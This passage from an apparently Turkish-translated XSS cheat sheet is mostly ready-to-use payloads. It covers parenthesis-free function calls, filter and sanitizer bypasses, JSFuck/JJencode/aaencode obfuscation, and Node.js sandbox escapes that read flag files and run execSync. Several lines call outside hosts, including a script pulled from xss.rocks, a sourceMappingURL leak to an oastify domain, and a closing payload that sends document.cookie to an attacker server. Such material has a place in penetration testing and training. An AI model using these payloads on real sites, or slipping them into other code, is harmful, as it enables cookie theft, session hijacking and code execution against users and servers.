//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (kaynak JavaScript new line trick)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript boşlukları
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript bir yorum içinde
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript parantezsiz
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Keyfi fonksiyon (alert) çağrısı
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Bir JS code, location.href gibi attacker tarafından kontrol edilen güvenli olmayan verileri kullanıyor. Bir attacker, bunu rastgele JS code çalıştırmak için kötüye kullanabilir.
Açıklamanın uzaması nedeniyle DOM vulnerabilities için bu sayfaya taşındı:
Orada DOM vulnerabilities’in ne olduğu, nasıl tetiklendiği ve nasıl exploit edileceğine dair detaylı bir açıklama bulacaksınız.
Ayrıca, bahsedilen yazının sonunda DOM Clobbering attacks hakkında bir açıklama bulabileceğinizi unutmayın.
Upgrading Self-XSS
Cookie XSS
Eğer payload’u bir cookie içinde göndererek XSS tetikleyebiliyorsanız, bu genellikle self-XSS’tir. Ancak, eğer XSS’e karşı vulnerable bir subdomain bulursanız, bu XSS’i kötüye kullanarak tüm domain’e bir cookie enjekte edebilir ve böylece ana domain veya cookie XSS’e açık diğer subdomain’lerde (cookie XSS’e açık olanlarda) cookie XSS’i tetikleyebilirsiniz. Bunun için cookie tossing attack kullanabilirsiniz:
Bu tekniğin büyük bir kötüye kullanımını bu blog yazısında bulabilirsiniz.
Sending your session to the admin
Belki bir kullanıcı profilini admin ile paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve admin profili açarsa, zafiyeti tetiklemiş olur.
Session Mirroring
Eğer bazı self XSS’ler bulursanız ve web sayfası yöneticiler için session mirroring sağlıyorsa — örneğin müşterilerin yardım istemesine izin verip admin size yardım etmek için sizin oturumunuzda gördüklerini kendi oturumundan görüyorsa — administratorın sizin self XSS’inizi tetiklemesini sağlayıp onun cookie’lerini/oturumunu çalabilirsiniz.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
Bir web uygulaması Emscripten/WASM kullandığında, sabit dizeler (HTML format stubları gibi) yazılabilir linear memory içinde bulunur. Tek bir in‑WASM overflow (ör. edit yolunda unchecked memcpy) bitişik yapıları bozup yazmaları bu sabitlere yönlendirebilir. “” ile overwrite etmek, sanitize edilmiş girdiyi bir JavaScript handler değeri haline getirir ve render sırasında anında DOM XSS’e yol açar.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Yansıtılan değerlerin sunucuda (veya istemci tarafında) unicode normalleştirmesine tabi tutulup tutulmadığını kontrol edebilir ve bu işlevi korumaları bypass etmek için kötüye kullanabilirsiniz. Bir örneği burada bulun.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment nedeniyle tırnak işaretleri HTML içine eklenir ve böylece tırnak kısıtı atlanır ve ek alanlar (onfocus) tag’in içine eklenebilir.
Form örneği (from this report), eğer payload’u gönderirseniz:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Çift “Key”,“Value” şu şekilde geri yansıtılacak:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Sonra, onfocus attribute eklenecek ve XSS gerçekleşir.
Özel kombinasyonlar
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Eğer inject headers in a 302 Redirect response yapabildiğinizi fark ederseniz, tarayıcının rastgele JavaScript çalıştırmasını denemek isteyebilirsiniz. Bu kolay değildir çünkü modern tarayıcılar HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamaz; bu yüzden sadece bir cross-site scripting payload işe yaramaz.
In this report and this one bölümlerinde Location header içinde çeşitli protokolleri nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövdedeki XSS payload’u inceleyip çalıştırmasına izin verip vermediğini okuyabilirsiniz.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Sadece Harfler, Rakamlar ve Noktalar
If you are able to indicate the callback that javascript is going to execute limited to those chars. Read this section of this post to find how to abuse this behaviour.
XSS için Geçerli <script> Content-Types
(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chrome’un bir loaded script’i çalıştırmasını destekleyecek tek Content-Type’lar, const kSupportedJavascriptTypes içinde yer alanlardır (bkz. https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc).
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS için Script Türleri
(From here) Peki, bir script yüklemek için hangi türler belirtilebilir?
<script type="???"></script>
Cevap:
- module (varsayılan, açıklama gerekmiyor)
- webbundle: Web Bundles, HTML, CSS, JS… gibi birden çok veriyi birlikte
.wbndosyası içinde paketleyebileceğiniz bir özelliktir.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import sözdizimini iyileştirmeye olanak tanır
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Bu davranış this writeup içinde, bir kütüphaneyi eval’e yeniden eşleyip suistimal ederek XSS tetiklemek için kullanıldı.
- speculationrules: Bu özellik esas olarak ön-renderleme nedeniyle ortaya çıkan bazı sorunları çözmek için tasarlanmıştır. İşleyişi şu şekildedir:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web İçerik Türleri ile XSS
(Kaynak: here) Aşağıdaki content-type’lar tüm tarayıcılarda XSS çalıştırabilir:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? listede yok ama bunu bir CTF’de gördüğümü sanıyorum)
- application/rss+xml (off)
- application/atom+xml (off)
Diğer tarayıcılarda farklı Content-Types keyfi JS çalıştırmak için kullanılabilir, bkz: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml İçerik Türü
Sayfa text/xml content-type ile döndürülüyorsa bir namespace belirterek keyfi JS çalıştırmak mümkündür:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Özel Yerine Koyma Desenleri
Aşağıdakine benzer bir kullanım yapıldığında "some {{template}} data".replace("{{template}}", <user_input>). Saldırgan, bazı korumaları aşmak için special string replacements kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
For example in this writeup, this was used to bir JSON string’ini kaçışlandırmak inside a script and execute arbitrary code.
Chrome Cache ile XSS
XS Jails Escape
Sadece sınırlı bir karakter seti kullanabiliyorsanız, XSJail problemleri için bu diğer geçerli çözümleri inceleyin:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Eğer güvenilmeyen kod yürütülmeden önce her şey undefined ise (örneğin this writeup), işe yarar nesneleri “hiçbir şeyden” üreterek keyfi güvenilmeyen kod yürütümünü kötüye kullanmak mümkün olur:
- import() kullanarak
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
require’e dolaylı erişim
According to this modüller Node.js tarafından bir fonksiyon içinde sarılır, şöyle:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Bu nedenle, eğer o modülden başka bir fonksiyon çağırabiliyorsak, o fonksiyondan arguments.callee.caller.arguments[1] kullanarak require’e erişmek mümkün olur:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Önceki örneğe benzer şekilde, error handlers kullanarak module’un wrapper’ına erişip require fonksiyonunu almak mümkündür:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Different obfuscations in one page: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Daha gelişmiş JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS yaygın payloads
Birden fazla payloads bir arada
Iframe Trap
Kullanıcının iframe’den çıkmadan sayfada gezinmesini sağlayın ve eylemlerini (formlarla gönderilen bilgiler dahil) çalın:
Çerezleri Al
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
